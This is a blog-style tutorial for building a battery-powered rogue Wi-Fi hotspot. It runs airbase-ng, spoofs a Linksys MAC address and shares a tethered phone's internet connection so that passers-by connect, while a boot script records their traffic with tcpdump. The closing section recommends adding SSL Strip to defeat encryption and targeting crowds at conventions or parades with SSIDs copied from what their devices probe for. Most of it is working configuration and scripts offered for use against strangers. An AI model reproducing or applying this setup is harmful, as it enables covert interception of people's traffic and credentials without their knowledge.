I have always loved wireless security. It is just such an easy target. The only issue that I have had is that I was restricted to carrying around a laptop and I just didn’t like the idea of having to operate the software while I was out. So I came up with this neat little COMPLETELY mobile wireless hacking/trap solution. Here is what you will need.

Equipment

  1. an Alix board, CF, and enclosure
  2. two ALPHA USB Wireless cards
  3. a cell phone that you can tether to
  4. mobile power solution

NOTES

I have written this very quickly and this may not be entirely accurate. Although the tests that I have done did work this post has been put together using loose notes that I made through my testing. I may (one day) return to this and tidy it up and add more detail, however I set out to do what I wanted and I wish to move on to newer projects.

Instructions

  1. To start build your Alix system. I built mine with Debian and I found a GREAT tutorial on how to get it loaded on a CF for your Alix board here -> http://www.youtube.com/watch?v=6VPsgR4pMik Install the most basic packages to to run the system, we will add the other stuff later.
  2. Once you have Debian installed on the CF and the board put together go ahead and start it up. Connect to the Alix board with a serial connection using 38400 baud, or 9600 if you didn’t change it in the last step.
  3. Log in to Debian using root and your password
  4. rm -f /etc/udev/rules.d/*_persistent-net.rules
  5. rm -f /etc/udev/rules.d/*_persistent-net-generator.rules
  6. reboot and connect the two USB WLAN cards
  7. Once the system is back up and running log in again with root
  8. install the following packages using the next command
  9. apt-get install wpasupplicant bridge-utils wireless-tools tcpdump ssh
  10. change the file /etc/network/interfaces to look like this (obviously use your wlan interfaces)
# Used by ifup(8) and ifdown(8). See the interfaces(5) manpage or
# /usr/share/doc/ifupdown/examples for more information.
auto lo
iface lo inet loopback
allow-hotplug eth0
iface eth0 inet dhcp
iface wlan1 inet dhcp
wpa-ssid "iPhone"
wpa-mode managed
wpa-conf /root/Rogue-Sniff/conf/iphone.conf
wpa-psk nodule5958
  1. Now we will need to install a bunch more stuff to get the necessary tools running
  2. apt-get install apt-get install build-essential libssl-dev subversion check install iw
  3. svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
  4. Make, check install, and then run airodump-ng-oui-update
  5. Time to get the FakeAP up and running
  6. apt-get install dhcp3-server
  7. update-rc.d sic-dhcp-server remove
  8. cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.bak
  9. vi /etc/dhcp/dhcpd.conf and make it similar to this
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 10.1.2.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.1.2.255;
option routers 10.1.2.1;
option domain-name-servers 8.8.8.8;
range 10.1.2.100 10.1.2.150;
}
  1. airmon-ng start wlan0
  2. airbase-ng -e “ESSID” -c 9 mon0
  3. ifconfig at0 up
  4. ifconfig at0 10.1.2.1 netmask 255.255.255.0
  5. route add -net 10.1.2.0 netmask 255.255.255.0 gw 10.1.2.1
  6. dhcpd -cf /etc/dhcpd/dhcpd.conf -pf /var/run/dhcpd.pid at0
  7. Now you have an AP up and running for the sniffing but you know no one will use it unless you have it providing internet access
  8. Connect the Debian box to your cell phone (tethering) so that you can provide internet access to others on the go
  9. Create the file iPhone.conf and put the WPA/WPA2 settings in to tether to your phone
network={
ssid="iPhone"
key_mgmt=WPA-PSK
psk=(put your hex in here -> wpa_passphrase [SSID] [passphrase])
}
  1. Test out the connection by running the following
  2. wpa_supplicant -i wlan1 -B -c iphone.conf
  3. Get IP Tables running by creating the following script
#!/bin/sh
PATH=/usr/sbin:/sbin:/bin:/usr/bin
#
# delete all existing rules.
#
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -X
# Always accept loopback traffic
iptables -A INPUT -i lo -j ACCEPT
# Allow established connections, and those not coming from the outside
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state NEW -j ACCEPT
iptables -A FORWARD -i wlan1 -o at0 -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow outgoing connections from the LAN side.
iptables -A FORWARD -i at0 -o wlan1 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp -i at0 --destination-port 80 -j REDIRECT --to-port 8080
# Masquerade.
iptables -t nat -A POSTROUTING -o wlan1 -j MASQUERADE
# Don't forward from the outside to the inside.
iptables -A FORWARD -i wlan1 -o wlan1 -j REJECT
# Enable routing.
echo 1 > /proc/sys/net/ipv4/ip_forward
  1. If that is all working for you create a bash script with the following (with values that will work for your network)
#! /bin/bash
# bring up the rogue and start sniffing
cd /
# change the mac to a Linksys AP
/usr/bin/macchanger --mac=00:06:25:3E:BD:93 wlan0
/usr/bin/macchanger -r wlan1
echo "connecting to phone"
/sbin/wpa_supplicant -i wlan1 -B -c /root/iphone.conf
sleep 45
echo "getting ip address"
/sbin/dhclient wlan1
/usr/local/sbin/airbase-ng --essid hotspot -c 11 wlan0 &
sleep 15
/sbin/ifconfig at0 10.1.1.2 netmask 255.255.255.0
/sbin/route add -net 10.1.1.0 netmask 255.255.255.0 gw 10.1.1.2
/sbin/ifconfig at0 up
sleep 5
/usr/sbin/dhcpd -cf /etc/dhcp/dhcpd.conf
./root/Rogue-Sniff/iptables.sh
tcpdump -i wlan1 -s 0 -e -vv -XX link[25] != 0x80 -w /root/Rogue-Sniff/capture
  1. Add a line to execute this script at startup with rc.local
  2. Now that your CF card is at a point where you want it pull it off the Alix board and DD it to another Linux box so that you will never have to go through all this again.
  3. Connect your portable power source and out the door you go! I used two 9V batteries that do power the setup, but I highly doubt that it would last long.

Going Further

  1. When acting as an AP for people the main point here is to sniff traffic and record it. What point would it be to record encrypted traffic? Go a little further with this and throw SSL Strip into the mix!
  2. Very Useful Applications (if you have room on the CF)

* python * python-twisted-web * kismet * nmap * telnet * fping * smbclient * curl * links * dnsutils * Tenable Nessus * Metasploit Framework

  1. The best places to take advantage of wireless networks is in highly populated areas that do not have hotspots. Think of a convention or parade. Some people really what to get on the net, and you could even highjack their broadcasts … say they are probing for “linksys” why not rename your SSID?
